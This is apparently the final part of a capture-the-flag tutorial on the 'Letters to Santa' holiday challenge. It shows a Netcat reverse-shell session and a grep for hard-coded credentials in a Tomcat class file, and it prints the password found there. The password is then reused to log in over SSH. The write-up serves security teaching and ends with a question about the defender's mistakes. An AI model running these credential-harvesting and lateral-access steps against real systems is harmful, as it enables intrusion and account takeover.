

Letters to Santa--a real world attack

Part 8, Wrapping Up

In the last part, the assignment was to find a password in Alabaster's code on the dev server. Once we had it we were asked to see if it allowed us to SSH to the dev server and the Letters to Santa (l2s) server.

To find Alabaster's password, we reestablished a Netcat reverse shell to the dev server (web or BASH shells would have worked also.) The commands are the same as those we used in previous parts. The web server runs Apache-Tomcat and most likely, the code is in /opt or /opt/apache-tomcat. A search for alabaster in the /opt/apache-tomcat may work.

```
grep -r alabaster /opt/apache-tomcat
```

```
[ec2-user@ip-172-31-37-34 ~]$ nc -nv1 4214
Connection from 35.227.92.93 port 4214 [tcp/*] accepted
grep -r alabaster /opt/apache-tomcat/
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySQL.class:
String username = "alabaster_snowball";

cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySQL.class
public class Connect {
    final String host = "localhost";
    final String username = "alabaster_snowball";
    final String password = "stream_unhappy_buy_loss";
    String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
    Connection connection = null;
    Statement statement = null;

    public Connect() {
        try {
```

Note that the search found `String username = "alabaster_snowball";` in the file `/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySQL.class`. It did not show a password, but maybe it is in the file. Sure enough, when we `cat` the file we see that his password is `stream_unhappy_buy_loss`.

Password Reuse

It is a major security problem when users employ the same password in multiple places. Surely, Santa's engineer and security person would not be guilty of password reuse...

When we use `alabaster_snowball` and `stream_unhappy_buy_loss` to log in to the dev server (or l2s, as they are the same server) with SSH from our CentOS VM, we see this.

```
[john@localhost ~]$ ssh alabaster_snowball@l2s.northpolechristmastown.com
The authenticity of host 'l2s.northpolechristmastown.com (35.185.84.51)' can't be established.
ECDSA key fingerprint is SHA256:CvCk1CRpc+g0JawNv1/evH3sJG83lsIs2qzEzlwEC4.
ECDSA key fingerprint is MD5:dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'l2s.northpolechristmastown.com' (ECDSA) to the list of known hosts.
alabaster_snowball@l2s.northpolechristmastown.com's password:
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.W0B0GDAkTzcxxxjVnvNzhWkd$ ls
-l /var/www/html
total 1760
drwxr-xr-x 2 root      www-data    4096 Oct 12 19:03 css
drwxr-xr-x 3 root      www-data    4096 Oct 12 19:40 fonts
-r--r--r-- 1 root      www-data 1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root      www-data    4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root      www-data   14501 Nov 24 20:53 index.html
drwxr-xr-x 2 root      www-data    4096 Oct 12 19:11 js
-rwx----- 1 www-data www-data    231 Oct 12 21:25 process.php
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.W0B0GDAkTzcxxxjVnvNzhWkd$
```

Well, we won't have to mess with the exploit and reverse shell any more. Now that we have valid credentials, we can enter through the front door.

Just for fun, I got a directory listing of /var/www/html. The page we were looking for, GreatBookPage2.pdf, is right there on the l2s web root.



We didn't need to exfiltrate the file from dev! (It was good practice with Netcat, though.) If you put a web shell on the l2s server, you probably discovered this a long time ago.

Questions

- 1) What mistakes did Alabaster make that allowed us to compromise this server, and how could he fix them? List at least three mistakes and solutions.